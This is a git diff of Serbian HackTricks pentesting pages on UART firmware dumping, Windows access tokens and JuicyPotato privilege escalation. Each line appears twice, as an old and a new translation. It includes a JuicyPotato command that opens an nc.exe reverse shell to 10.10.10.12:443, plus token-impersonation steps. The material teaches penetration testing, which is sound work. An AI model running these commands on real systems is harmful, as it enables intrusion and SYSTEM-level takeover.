Arduino UNO R3 ima USB do serijskog adaptera ugrađenog na samoj ploči. Da biste uspostavili UART vezu, jednostavno izvadite mikrokontroler čip Atmel 328p sa ploče. Ovaj trik radi na varijantama Arduino UNO R3 koje nemaju čip Atmel 328p zalemljen na ploču (u njemu se koristi SMD verzija). Povežite RX pin Arduina (Digitalni Pin 0) sa TX pinom UART interfejsa i TX pin Arduina (Digitalni Pin 1) sa RX pinom UART interfejsa.
Na kraju, preporučuje se korišćenje Arduino IDE-a za pristup serijskoj konzoli. U odeljku `alatke` u meniju, izaberite opciju `Serijska konzola` i postavite brzinu prenosa prema UART interfejsu.
Na kraju, preporučuje se korišćenje Arduino IDE-a za dobijanje serijske konzole. U `alatkama` u meniju, izaberite opciju `Serijska konzola` i postavite brzinu prenosa prema UART interfejsu.
## Bus Pirate
U ovom scenariju, pratimo UART komunikaciju Arduina koji šalje sve ispisane poruke programa na serijski monitor.
U ovom scenariju ćemo prisluškivati UART komunikaciju Arduina koji šalje sve ispisane poruke programa na serijski monitor.
```bash
# Check the modes
UART>m
@ -159,40 +173,54 @@ waiting a few secs to repeat....
```
## Dumpovanje Firmware-a putem UART konzole
UART konzola pruža odličan način za rad sa osnovnim firmware-om u okruženju u realnom vremenu. Međutim, kada je pristup UART konzoli samo za čitanje, to može uvesti mnogo ograničenja. Na mnogim ugrađenim uređajima, firmware je smešten u EEPROM-ima i izvršava se u procesorima koji imaju volatilnu memoriju. Stoga se firmware čuva samo za čitanje jer je originalni firmware tokom proizvodnje unutar samog EEPROM-a i bilo koji novi fajlovi bi se izgubili zbog volatilne memorije. Stoga, dumpovanje firmware-a je vredan napor prilikom rada sa ugrađenim firmware-ima.
UART konzola pruža odličan način za rad sa osnovnim firmware-om u okruženju u toku izvršavanja. Međutim, kada je pristup UART konzoli samo za čitanje, to može uvesti mnogo ograničenja. Kod mnogih ugrađenih uređaja, firmware je smešten u EEPROM-ima i izvršava se u procesorima koji imaju nestabilnu memoriju. Stoga se firmware čuva samo za čitanje jer je originalni firmware tokom proizvodnje unutar samog EEPROM-a i bilo koji novi fajlovi bi se izgubili zbog nestabilne memorije. Stoga, dumpovanje firmware-a je vredan napor prilikom rada sa ugrađenim firmware-ima.
Postoji mnogo načina da se to uradi, a sekcija SPI pokriva metode za izvlačenje firmware-a direktno iz EEPROM-a sa različitim uređajima. Iako se preporučuje prvo pokušati dumpovanje firmware-a putem UART-a jer dumpovanje firmware-a sa fizičkim uređajima i spoljnim interakcijama može biti rizično.
Postoji mnogo načina da se to uradi, a odeljak SPI pokriva metode za izvlačenje firmware-a direktno iz EEPROM-a sa različitim uređajima. Iako se preporučuje prvo pokušati dumpovanje firmware-a putem UART-a jer dumpovanje firmware-a sa fizičkim uređajima i spoljnim interakcijama može biti rizično.
Dumpovanje firmware-a putem UART konzole zahteva prvo pristup bootloaderima. Mnogi popularni proizvođači koriste <b>uboot</b> (Universal Bootloader) kao svoj bootloader za učitavanje Linux-a. Stoga, pristup <b>uboot</b> je neophodan.
Dumpovanje firmware-a putem UART konzole zahteva prvo pristup bootloader-ima. Mnogi popularni proizvođači koriste <b>uboot</b> (Universal Bootloader) kao svoj bootloader za učitavanje Linux-a. Stoga, pristup <b>uboot</b> je neophodan.
Da biste pristupili <b>boot</b> bootloaderu, povežite UART port sa računarom i koristite bilo koji od alata za serijsku konzolu i držite isključeno napajanje uređaja. Kada je postavka spremna, pritisnite taster Enter i držite ga. Konačno, povežite napajanje uređaja i pustite ga da se podigne.
Da biste pristupili <b>boot</b> bootloader-u, povežite UART port sa računarom i koristite bilo koji od alata za serijsku konzolu i držite isključeno napajanje uređaja. Kada je postavka spremna, pritisnite taster Enter i držite ga. Na kraju, povežite napajanje uređaja i pustite ga da se podigne.
Ovim će se prekinuti učitavanje <b>uboot</b>-a i prikazaće se meni. Preporučuje se razumevanje <b>uboot</b> komandi i korišćenje menija pomoći da ih izlistate. Ovo bi mogla biti `help` komanda. Pošto različiti proizvođači koriste različite konfiguracije, neophodno je razumeti svaku od njih posebno.
Ovim će se prekinuti učitavanje <b>uboot</b>-a i prikazaće se meni. Preporučuje se da se razumeju <b>uboot</b> komande i da se koristi meni pomoći za njihovo listanje. Ovo bi mogla biti `help` komanda. Pošto različiti proizvođači koriste različite konfiguracije, neophodno je razumeti svaku od njih posebno.
Obično, komanda za dumpovanje firmware-a je:
```
md
```
što znači "memorijsko pražnjenje". Ovo će prikazati memoriju (EEPROM sadržaj) na ekranu. Preporučuje se da zabeležite izlaz serijske konzole pre početka postupka kako biste uhvatili memorijsko pražnjenje.
što znači "memorijsko pražnjenje". Ovo će isprazniti memoriju (EEPROM sadržaj) na ekranu. Preporučuje se da zabeležite izlaz serijske konzole pre početka postupka kako biste uhvatili memorijsko pražnjenje.
Na kraju, jednostavno uklonite sav nepotreban sadržaj iz datoteke zapisa i sačuvajte datoteku kao `imefajla.rom` i koristite binwalk za izdvajanje sadržaja:
Na kraju, jednostavno uklonite sav nepotreban podatak iz datoteke zapisa i sačuvajte datoteku kao `imefajla.rom` i koristite binwalk za izvlačenje sadržaja:
```
binwalk -e <filename.rom>
```
Ovo će izlistati moguće sadržaje iz EEPROM-a prema potpisima pronađenim u hex datoteci.
Ovo će navesti moguće sadržaje iz EEPROM-a prema potpisima pronađenim u hex datoteci.
Iako je potrebno napomenuti da nije uvek slučaj da je <b>uboot</b> otključan čak i ako se koristi. Ako taster Enter ne radi ništa, proverite različite tastere poput tastera Space, itd. Ako je bootloader zaključan i ne može se prekinuti, ovaj metod neće raditi. Da biste proverili da li je <b>uboot</b> bootloader za uređaj, proverite izlaz na UART konzoli prilikom pokretanja uređaja. Moglo bi se pomenuti <b>uboot</b> prilikom pokretanja.
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade informacije**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomverom koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -4,7 +4,7 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -12,11 +12,25 @@
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Pristupni tokeni
Svaki **korisnik prijavljen** na sistem **poseduje pristupni token sa sigurnosnim informacijama** za tu prijavljenu sesiju. Sistem kreira pristupni token kada se korisnik prijavi. **Svaki proces izvršen** u ime korisnika **ima kopiju pristupnog tokena**. Token identifikuje korisnika, grupe korisnika i privilegije korisnika. Token takođe sadrži SID prijave (Security Identifier) koji identifikuje trenutnu prijavljenu sesiju.
Svaki **korisnik prijavljen** na sistem **poseduje pristupni token sa bezbednosnim informacijama** za tu sesiju prijavljivanja. Sistem kreira pristupni token kada se korisnik prijavi. **Svaki proces izvršen** u ime korisnika **ima kopiju pristupnog tokena**. Token identifikuje korisnika, grupe korisnika i privilegije korisnika. Token takođe sadrži SID prijave (Security Identifier) koji identifikuje trenutnu sesiju prijavljivanja.
Ove informacije možete videti izvršavanjem `whoami /all`
Možete videti ove informacije izvršavanjem `whoami /all`
```
whoami /all
@ -62,7 +76,7 @@ SeTimeZonePrivilege Change the time zone Disabled
```
### Lokalni administrator
Kada se lokalni administrator prijavi, **kreiraju se dva pristupna tokena**: Jedan sa administratorskim pravima i drugi sa normalnim pravima. **Podrazumevano**, kada ovaj korisnik pokrene proces, koristi se onaj sa **običnim** (neadministrator) **pravima**. Kada ovaj korisnik pokuša da **izvrši** nešto **kao administrator** ("Pokreni kao administrator" na primer), **UAC** će zatražiti dozvolu.\
Kada se lokalni administrator prijavi, **kreiraju se dva pristupna tokena**: Jedan sa administratorskim pravima i drugi sa normalnim pravima. **Podrazumevano**, kada ovaj korisnik pokrene proces, koristi se onaj sa **običnim** (neadministrator) **pravima**. Kada ovaj korisnik pokuša da **izvrši** nešto **kao administrator** ("Pokreni kao administrator" na primer), **UAC** će se koristiti za traženje dozvole.\
Ako želite da [**saznate više o UAC pročitajte ovu stranicu**](../authentication-credentials-uac-and-efs/#uac)**.**
### Impersonacija korisničkih pristupnih podataka
@ -71,7 +85,7 @@ Ako imate **validne pristupne podatke bilo kog drugog korisnika**, možete **kre
```
runas /user:domain\username cmd.exe
```
**Pristupni token** takođe ima **referencu** sesija prijavljivanja unutar **LSASS**-a, što je korisno ako proces treba da pristupi nekim objektima na mreži.\
**Pristupni token** takođe ima **referencu** sesija prijavljivanja unutar **LSASS**, što je korisno ako proces treba da pristupi nekim objektima na mreži.\
Možete pokrenuti proces koji **koristi različite akreditive za pristup mrežnim uslugama** koristeći:
```
runas /user:domain\username /netonly cmd.exe
@ -82,16 +96,16 @@ Ovo je korisno ako imate korisne akreditive za pristup objektima u mreži, ali t
Postoje dva tipa dostupnih tokena:
* **Primarni token**: Služi kao reprezentacija sigurnosnih akreditiva procesa. Kreiranje i povezivanje primarnih tokena sa procesima su radnje koje zahtevaju povišene privilegije, naglašavajući princip razdvajanja privilegija. Tipično, servis za autentifikaciju je odgovoran za kreiranje tokena, dok servis za prijavljivanje upravlja njegovim povezivanjem sa korisnikovim operativnim sistemom. Važno je napomenuti da procesi nasleđuju primarni token svog roditeljskog procesa prilikom kreiranja.
* **Imitacioni token**: Omogućava serverskoj aplikaciji da privremeno preuzme identitet klijenta radi pristupa sigurnim objektima. Ovaj mehanizam je slojevito podeljen na četiri nivoa operacija:
* **Primarni token**: Služi kao reprezentacija sigurnosnih akreditiva procesa. Kreiranje i povezivanje primarnih tokena sa procesima su radnje koje zahtevaju povišene privilegije, ističući princip razdvajanja privilegija. Tipično, servis za autentifikaciju je odgovoran za kreiranje tokena, dok servis za prijavljivanje upravlja njegovim povezivanjem sa korisnikovim operativnim sistemom. Važno je napomenuti da procesi nasleđuju primarni token svog roditeljskog procesa pri kreiranju.
* **Token za personifikaciju**: Omogućava serverskoj aplikaciji da privremeno preuzme identitet klijenta radi pristupa sigurnim objektima. Ovaj mehanizam je slojevito podeljen na četiri nivoa operacija:
* **Anoniman**: Dodeljuje pristup serveru sličan pristupu nepoznatog korisnika.
* **Identifikacija**: Omogućava serveru da proveri identitet klijenta bez korišćenja za pristup objektima.
* **Imitacija**: Omogućava serveru da radi pod identitetom klijenta.
* **Delegacija**: Slično imitaciji, ali uključuje mogućnost proširenja ovog pretpostavljanja identiteta na udaljene sisteme sa kojima server interaguje, obezbeđujući očuvanje akreditiva.
* **Personifikacija**: Omogućava serveru da radi pod identitetom klijenta.
* **Delegacija**: Slično kao Personifikacija, ali uključuje mogućnost proširenja ovog pretpostavljanja identiteta na udaljene sisteme sa kojima server interaguje, obezbeđujući očuvanje akreditiva.
#### Imitiranje tokena
#### Personifikacija tokena
Korišćenjem _**incognito**_ modula metasploita, ako imate dovoljno privilegija, možete lako **izlistati** i **imitirati** druge **tokene**. Ovo može biti korisno za obavljanje **akcija kao da ste drugi korisnik**. Takođe možete **povišiti privilegije** ovom tehnikom.
Korišćenjem _**incognito**_ modula metasploita, ako imate dovoljno privilegija, možete lako **listati** i **personifikovati** druge **tokene**. Ovo može biti korisno za izvođenje **akcija kao da ste drugi korisnik**. Takođe možete **povišiti privilegije** ovom tehnikom.
### Privilegije tokena
@ -106,3 +120,28 @@ Pogledajte [**sve moguće privilegije tokena i neke definicije na ovoj spoljnoj
## Reference
Saznajte više o tokenima u ovim tutorijalima: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) i [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji kradu informacije**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera koji kradu informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li videti svoju **kompaniju reklamiranu na HackTricks**? ili želite imati pristup **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,33 +4,47 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** u [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** na [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-webom** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
{% hint style="warning" %}
**JuicyPotato ne radi** na Windows Serveru 2019 i Windows 10 verziji 1809 i novijim. Međutim, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) mogu se koristiti za **iskorišćavanje istih privilegija i dobijanje pristupa nivou `NT AUTHORITY\SYSTEM`**. _**Proverite:**_
**JuicyPotato ne radi** na Windows Serveru 2019 i Windows 10 verziji 1809 i novijim. Međutim, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) mogu se koristiti za **iskorišćavanje istih privilegija i dobijanje pristupa na nivou `NT AUTHORITY\SYSTEM`**. _**Proverite:**_
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](roguepotato-and-printspoofer.md)
{% endcontent-ref %}
## Juicy Potato (zlostavljanje zlatnih privilegija) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
## Juicy Potato (zloupotreba zlatnih privilegija) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_Šećerana verzija_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, sa malo soka, tj. **još jedan alat za eskalaciju lokalnih privilegija, od Windows servisnih naloga do NT AUTHORITY\SYSTEM**_
_Šećerana verzija_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, sa malo soka, tj. **još jedan alat za lokalno eskaliranje privilegija, od Windows servisnih naloga do NT AUTHORITY\SYSTEM**_
#### Možete preuzeti JuicyPotato sa [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
### Rezime <a href="#summary" id="summary"></a>
[**Iz Juicy-Potato Readme datoteke**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[**Iz Juicy-Potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) i njegove [varijante](https://github.com/decoder-it/lonelypotato) iskorišćavaju lanac eskalacije privilegija zasnovan na [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [servisu](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) koji ima MiTM slušaoca na `127.0.0.1:6666` i kada imate privilegije `SeImpersonate` ili `SeAssignPrimaryToken`. Tokom pregleda Windows izgradnje otkrili smo postavku gde je `BITS` namerno onemogućen i port `6666` je zauzet.
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) i njegovi [varijanti](https://github.com/decoder-it/lonelypotato) iskorišćavaju lanac eskalacije privilegija zasnovan na [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [servisu](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) sa MiTM slušaocem na `127.0.0.1:6666` i kada imate privilegije `SeImpersonate` ili `SeAssignPrimaryToken`. Tokom pregleda Windows build-a, otkrili smo postavku gde je `BITS` namerno onemogućen i port `6666` je zauzet.
Odlučili smo da oružamo [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Pozdravite Juicy Potato**.
@ -42,24 +56,25 @@ Otkrili smo da, osim `BITS`, postoji nekoliko COM servera koje možemo zloupotre
2. implementiraju `IMarshal` interfejs
3. pokreću se kao privilegovan korisnik (SYSTEM, Administrator, …)
Nakon nekih testiranja dobili smo i testirali obimnu listu [interesantnih CLSID-ova](http://ohpe.it/juicy-potato/CLSID/) na nekoliko verzija Windowsa.
Nakon nekih testiranja, dobili smo i testirali obimnu listu [interesantnih CLSID-ova](http://ohpe.it/juicy-potato/CLSID/) na nekoliko verzija Windows-a.
### Detalji o JuicyPotato-u <a href="#juicy-details" id="juicy-details"></a>
JuicyPotato vam omogućava da:
* **Ciljajte CLSID** _izaberite bilo koji CLSID koji želite._ [_Ovde_](http://ohpe.it/juicy-potato/CLSID/) _možete pronaći listu organizovanu po OS-u._
* **COM slušajući port** _definišite COM slušajući port koji preferirate (umesto marshalled hardkodiranog 6666)_
* **COM slušajuća IP adresa** _vezujte server na bilo koju IP adresu_
* **COM port za slušanje** _definišite COM port za slušanje koji preferirate (umesto marshalled hardkodiranog 6666)_
* **IP adresa za slušanje COM-a** _vezujte server na bilo koju IP adresu_
* **Režim kreiranja procesa** _u zavisnosti od privilegija impersoniranog korisnika možete birati između:_
* `CreateProcessWithToken` (potrebno je `SeImpersonate`)
* `CreateProcessAsUser` (potrebno je `SeAssignPrimaryToken`)
* `oba`
* **Proces za pokretanje** _pokrenite izvršnu datoteku ili skriptu ako eksploatacija uspe_
* **Proces za pokretanje** _pokrenite izvršnu datoteku ili skriptu ako iskorišćavanje uspe_
* **Argument procesa** _prilagodite argumente pokrenutog procesa_
* **Adresa RPC servera** _za prikriven pristup možete se autentifikovati na eksterni RPC server_
* **Port RPC servera** _korisno ako želite da se autentifikujete na eksterni server a firewall blokira port `135`…_
* **Adresa RPC servera** _za prikriveni pristup možete se autentifikovati na eksterni RPC server_
* **Port RPC servera** _korisno ako želite da se autentifikujete na eksterni server, a firewall blokira port `135`…_
* **TEST režim** _pretežno za testiranje, tj. testiranje CLSID-ova. Kreira DCOM i ispisuje korisnika tokena. Pogledajte_ [_ovde za testiranje_](http://ohpe.it/juicy-potato/Test/)
### Upotreba <a href="#upotreba" id="upotreba"></a>
```
T:\>JuicyPotato.exe
JuicyPotato v0.1
@ -82,17 +97,17 @@ Optional args:
Ako korisnik ima privilegije `SeImpersonate` ili `SeAssignPrimaryToken`, tada ste **SYSTEM**.
Gotovo je nemoguće sprečiti zloupotrebu svih ovih COM servera. Možete razmisliti o izmeni dozvola ovih objekata putem `DCOMCNFG`, ali srećno, to će biti izazovno.
Gotovo je nemoguće sprečiti zloupotrebu svih ovih COM servera. Možete razmisliti o izmeni dozvola ovih objekata putem `DCOMCNFG`, ali srećno, ovo će biti izazovno.
Stvarno rešenje je zaštita osetljivih naloga i aplikacija koje se izvršavaju pod nalozima `* SERVICE`. Zaustavljanje `DCOM` bi svakako sprečilo ovu eksploataciju, ali bi moglo imati ozbiljan uticaj na osnovni OS.
Od: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
Izvor: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
## Primeri
Napomena: Posetite [ovu stranicu](https://ohpe.it/juicy-potato/CLSID/) za listu CLSID-ova koje možete isprobati.
### Dobijanje reverznog shell-a pomoću nc.exe
### Dobijanje nc.exe reverse shell
```
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
@ -133,14 +148,26 @@ Zatim preuzmite [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/mas
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF-u**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova u** [**repozitorijum hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozitorijum hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -6,19 +6,33 @@
Drugi načini podrške HackTricks-u:
